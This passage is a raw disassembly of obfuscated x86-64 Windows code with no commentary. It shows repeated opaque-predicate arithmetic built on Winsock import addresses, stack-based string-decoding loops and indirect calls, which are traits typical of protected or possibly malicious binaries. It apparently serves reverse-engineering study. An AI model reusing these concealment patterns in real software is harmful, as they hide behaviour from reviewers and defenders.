addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9791
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9791
mov r12d, 3
jmp 0x1401f97ec
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f97ec
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x74]
and r8d, r12d
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x74]
sub edx, r8d
add edx, dword [rsp + 0x58]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x74], edx
imul ecx, r9d, 7
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, r10d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9a30
mov eax, dword [rsp + 0x30]
sub eax, 0x41
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f98cb
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f98cb
mov dword [rsp + 0x64], 3
jmp 0x1401f9929
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9929
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x41
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f99ac
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f99ac
mov r13d, 3
jmp 0x1401f9a07
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9a07
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x74]
and r8d, r13d
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x74]
sub edx, r8d
add edx, dword [rsp + 0x64]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x74], edx
movsx ecx, byte [0x14087e2b9]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9c2d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x38], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9acf
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9acf
mov dword [rsp + 0x5c], 3
jmp 0x1401f9b2d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9b2d
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9ba4
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9ba4
mov dword [rsp + 0x60], 3
jmp 0x1401f9c02
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9c02
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x30]
mov r8d, dword [rsp + rax*4 + 0x74]
and r8d, dword [rsp + 0x60]
add r8d, r8d
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x74]
sub edx, r8d
add edx, dword [rsp + 0x5c]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x74], edx
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 1
jb 0x1401f9210
mov byte [rsp + 0x70], 1
mov ecx, dword [rsp + 0x74]
call qword [rsp + 0x50]
xor r15d, r15d
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x38]
call fcn.1401a3f20
mov rdx, rax
mov rcx, qword [rbp - 0x18]
call fcn.1401fe1c0
mov dword [rbp - 0x10], 0x3e3d2e2b
mov dword [rbp - 0xc], 0x9f11103d
xor eax, eax
mov qword [rbp - 8], rax
mov dword [rbp], eax
mov byte [rbp + 4], al
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
cmp rax, 0x15
jae 0x1401f9cf5
movabs r9, 0x5e6ba9ab5132e69b
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movzx edx, byte [rbp + rax - 0x10]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
sub cl, 0x3d
mov rax, qword [rsp + 0x40]
mov byte [rbp + rax - 0x10], cl
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp rax, 0x15
jb 0x1401f9cb0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x250]
call fcn.14019ca90
lea rcx, [rax + 8]
cmp byte [rax], 4
cmovne rcx, r15
cmp byte [rcx], 0
je 0x1401fa80e
mov byte [rsp + 0x48], 0
mov eax, dword [0x140444b81]
mov dword [rsp + 0x49], eax
movzx eax, byte [0x140444b85]
mov byte [rsp + 0x4d], al
mov dword [rsp + 0x30], r15d
mov eax, dword [rsp + 0x30]
cmp eax, 5
jae 0x1401fa7df
call fcn.1401bc240
movsx r9d, al
call fcn.1401bc230
movsx ecx, al
imul r9d, ecx
call fcn.1401bc270
movsx r10d, al
call fcn.1401bc250
movsx r11d, al
call fcn.1401bc280
movsx ebx, al
call fcn.1401bc260
movsx edi, al
movsd xmm3, qword [0x1406ab630]
mov r14d, dword [rsp + 0x40]
mov r15d, dword [rsp + 0x40]
mov r12d, dword [rsp + 0x40]
mov r13d, dword [rsp + 0x40]
nop dword [rax + rax]
movsx ecx, byte [0x14087e2b9]
imul ecx, r11d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9f9a
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x50], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9e41
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9e41
mov dword [rsp + 0x40], 3
jmp 0x1401f9e9f
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9e9f
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x40], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9f14
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401f9f14
mov r14d, 3
jmp 0x1401f9f6f
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401f9f6f
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r14d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rsp + rax + 0x49]
and r8b, r14b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x49]
sub dl, r8b
add dl, byte [rsp + 0x40]
movsxd rax, dword [rsp + 0x30]
mov byte [rsp + rax + 0x49], dl
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [r10 + r9*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa5c8
movsx edx, byte [0x14087e2b9]
imul edx, r11d
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa1b6
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x50], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa05d
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa05d
mov dword [rsp + 0x68], 3
jmp 0x1401fa0bb
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa0bb
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x68], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa130
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa130
mov r15d, 3
jmp 0x1401fa18b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa18b
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r15d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rsp + rax + 0x49]
and r8b, r15b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x49]
sub dl, r8b
add dl, byte [rsp + 0x68]
movsxd rax, dword [rsp + 0x30]
mov byte [rsp + rax + 0x49], dl
movsx edx, byte [0x14087e2b9]
imul edx, r11d
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa3ab
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa253
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa253
mov dword [rsp + 0x58], 3
jmp 0x1401fa2b1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa2b1
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x58], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa325
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa325
mov r12d, 3
jmp 0x1401fa380
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa380
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rsp + rax + 0x49]
and r8b, r12b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x49]
sub dl, r8b
add dl, byte [rsp + 0x58]
movsxd rax, dword [rsp + 0x30]
mov byte [rsp + rax + 0x49], dl
imul ecx, r9d, 7
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, r10d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa5c8
mov eax, dword [rsp + 0x30]
sub eax, 0x3f
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa461
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa461
mov dword [rsp + 0x64], 3
jmp 0x1401fa4bf
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa4bf
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x3f
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa542
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa542
mov r13d, 3
jmp 0x1401fa59d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa59d
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r13d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rsp + rax + 0x49]
and r8b, r13b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x49]
sub dl, r8b
add dl, byte [rsp + 0x64]
movsxd rax, dword [rsp + 0x30]
mov byte [rsp + rax + 0x49], dl
movsx ecx, byte [0x14087e2b9]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa7c5
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x50], xmm1
lea esi, [r10 + r9*8]
add esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa666
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa666
mov dword [rsp + 0x5c], 3
jmp 0x1401fa6c4
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa6c4
lea ecx, [r9 + r10]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa73a
movsx edx, byte [0x14087e2b9]
imul edx, r11d
shl edx, 2
sub edx, ebx
add edx, edi
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401fa73a
mov dword [rsp + 0x60], 3
jmp 0x1401fa798
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401fa798
lea ecx, [r9 + r10]
